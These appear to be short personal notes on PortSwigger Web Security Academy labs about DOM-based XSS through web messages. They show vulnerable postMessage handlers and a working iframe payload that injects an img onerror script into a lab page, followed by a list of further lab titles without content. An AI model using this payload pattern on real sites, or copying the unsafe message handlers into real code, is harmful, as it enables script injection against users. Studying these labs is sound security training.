DOM-based vulnerabilities
https://portswigger.net/web-security/dom-based
Lab: DOM XSS using web messages
GET / HTTP/1.1
In response:
<script>
window.addEventListener('message', function(e) {
document.getElementById('ads').innerHTML = e.data;
})
</script>Body:
<iframe src="https://ac461f1a1fcc394cc0502b2f003b0077.web-security-academy.net/" onload="this.contentWindow.postMessage('<img src=1 onerror=print()>','*')">Lab: DOM XSS using web messages and a JavaScript URL
GET / HTTP/1.1
In response:
<script>
window.addEventListener('message', function(e) {
var url = e.data;
if (url.indexOf('http:') > -1 || url.indexOf('https:') > -1) {
location.href = url;
}
}, false);
</script>Lab: DOM XSS using web messages and JSON.parse
Lab: DOM-based open redirection
Lab: DOM-based cookie manipulation
Lab: Exploiting DOM clobbering to enable XSS
Lab: Clobbering DOM attributes to bypass HTML filters
Last updated